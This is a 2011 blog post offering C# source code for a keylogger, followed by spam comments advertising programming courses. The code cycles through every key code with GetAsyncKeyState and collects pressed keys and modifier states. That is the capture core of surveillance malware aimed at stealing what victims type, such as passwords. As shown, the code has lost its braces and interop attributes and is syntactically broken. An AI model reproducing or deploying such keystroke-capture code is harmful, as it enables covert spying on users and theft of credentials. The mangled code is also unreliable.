Saturday, April 16, 2011

Key logger in C#

This is the keylogger code which i have coded

Source code :-

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

using System.Windows.Forms;
using System.Runtime.InteropServices;

public class KeyLog
    //-> Declare GetAsyncKeyState().
    private static extern short GetAsyncKeyState(Keys vKey); //To check the current status of a virtual key.
    private static extern short GetAsyncKeyState(Int32 vKey); //To check the current status of a virtual key.
    private static extern short GetKeyState(Keys vKey); //To check if a key is currently toggled (on/off).
    private static extern short GetKeyState(Int32 vKey); //To check if a key is currently toggled (on/off).

    //-> getKey() checks what keys have been pressed and returns the pressed keys, if any.
    //-> Otherwise, returns null.
    //-> The pressed keys are returned in a List<string> as (string)char/key name.
    public List<string> getKey()
        List<string> myKeys = new List<string>(); //Declare the list of keys as int.
        for (int i = 0; i <= 255; i++) //Go through all key codes to check if any key is pressed.
            int j = GetAsyncKeyState(i); //Get state of key i.
            if (j == -32767) //Check if key is pressed.
                if (i >= 65 && i <= 122) //From char 65 to 122
                    if (ShiftKey && CapsLock) //If Shift and CapsLock are toggled.
                        myKeys.Add(((char)(i + 32)).ToString()); //Lower case.
                    else if (ShiftKey) //If Shift or CapsLock is toggled.
                        myKeys.Add(((char)(i)).ToString()); //Upper case.
                    else if (CapsLock) //If Shift or CapsLock is toggled.
                        myKeys.Add(((char)(i)).ToString()); //Upper case.
                    else //Any other situation.
                        myKeys.Add(((char)(i + 32)).ToString()); //Lower case.
                else if (i >= 48 && i <= 57) //From char 48 to 57
                    if (ShiftKey) //If Shift is toggled.
                        myKeys.Add(((char)(i - 16)).ToString()); //Symbols.
                    else //If Shift is not toggled.
                        myKeys.Add(((char)(i)).ToString()); //Numbers.
                    myKeys.Add(Enum.GetName(typeof(Keys), i)); //Any other situation.

                //Check keys toggled
                if (ShiftKey && !(myKeys.Contains(Keys.ShiftKey.ToString())))
                    myKeys.Add(Keys.ShiftKey.ToString()); //Add 'ShiftKey' if enabled.
                if (ShiftKeyL && !(myKeys.Contains(Keys.LShiftKey.ToString())))
                    myKeys.Add(Keys.LShiftKey.ToString()); //Add 'LShiftKey' if enabled.
                if (ShiftKeyR && !(myKeys.Contains(Keys.RShiftKey.ToString())))
                    myKeys.Add(Keys.RShiftKey.ToString()); //Add 'RShiftKey' if enabled.
                if (ControlKey && !(myKeys.Contains(Keys.ControlKey.ToString())))
                    myKeys.Add(Keys.ControlKey.ToString()); //Add 'ControlKey' if enabled.
                if (ControlKeyL && !(myKeys.Contains(Keys.LControlKey.ToString())))
                    myKeys.Add(Keys.LControlKey.ToString()); //Add 'LControlKey' if enabled.
                if (ControlKeyR && !(myKeys.Contains(Keys.RControlKey.ToString())))
                    myKeys.Add(Keys.RControlKey.ToString()); //Add 'RControlKey' if enabled.
                if (AltKey && !(myKeys.Contains(Keys.Menu.ToString())))
                    myKeys.Add(Keys.Menu.ToString()); //Add 'Menu' (Alt key) if enabled.
                if (AltKeyL && !(myKeys.Contains(Keys.LMenu.ToString())))
                    myKeys.Add(Keys.LMenu.ToString()); //Add 'LMenu' if enabled.
                if (AltKeyR && !(myKeys.Contains(Keys.RMenu.ToString())))
                    myKeys.Add(Keys.RMenu.ToString()); //Add 'RMenu' if enabled.
                if (CapsLock && (!(myKeys.Contains(Keys.CapsLock.ToString())) && !(myKeys.Contains(Keys.CapsLock.ToString() + "[Enabled]"))))
                    myKeys.Add(Keys.CapsLock.ToString() + "[Enabled]"); //Add 'CapsLock[Enabled]' if enabled.
                if (NumLock && (!(myKeys.Contains(Keys.NumLock.ToString())) && !(myKeys.Contains(Keys.NumLock.ToString() + "[Enabled]"))))
                    myKeys.Add(Keys.NumLock.ToString() + "[Enabled]"); //Add 'NumLock' if enabled.

        return myKeys; //Return the list.

    //-> Get keys toogle state (on/off).
    #region Toggles
    public static bool ControlKey
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey)); }
    public static bool ControlKeyL
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LControlKey)); }
    public static bool ControlKeyR
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RControlKey)); }
    public static bool ShiftKey
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)); }
    public static bool ShiftKeyL
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LShiftKey)); }
    public static bool ShiftKeyR
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RShiftKey)); }
    public static bool AltKey
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu)); }
    public static bool AltKeyL
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LMenu)); }
    public static bool AltKeyR
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RMenu)); }
    public static bool CapsLock
        get { return Convert.ToBoolean(GetKeyState(Keys.CapsLock)); }
    public static bool NumLock
        get { return Convert.ToBoolean(GetKeyState(Keys.NumLock)); }


Naviya Nair said...

I have read your blog its very attractive and impressive. I like it your blog.

Java Training in Chennai Core Java Training in Chennai Core Java Training in Chennai

Java Online Training Java Online Training Core Java 8 Training in Chennai Core java 8 online training JavaEE Training in Chennai Java EE Training in Chennai

SRI said...

I appreciate your efforts because it conveys the message of what you are trying to say. It's a great skill to make even the person who doesn't know about the subject could able to understand the subject . Your blogs are understandable and also elaborately described. I hope to read more and more interesting articles from your blog. All the best.

rpa training in bangalore
best rpa training in bangalore
RPA training in bangalore
rpa course in bangalore
rpa training in chennai
rpa online training

param jothi said...

Useful information.I am actual blessed to read this article.thanks for giving us this advantageous information.I acknowledge this post.and I would like bookmark this post.Thanks
python training in chennai
python course institute in chennai

Twitter Delicious Facebook Digg Stumbleupon Favorites More

Design by Vamshi krishnam raju | Bloggerized by Vamshi krishnam raju - Vamshi krishnam raju | Vamshi krishnam raju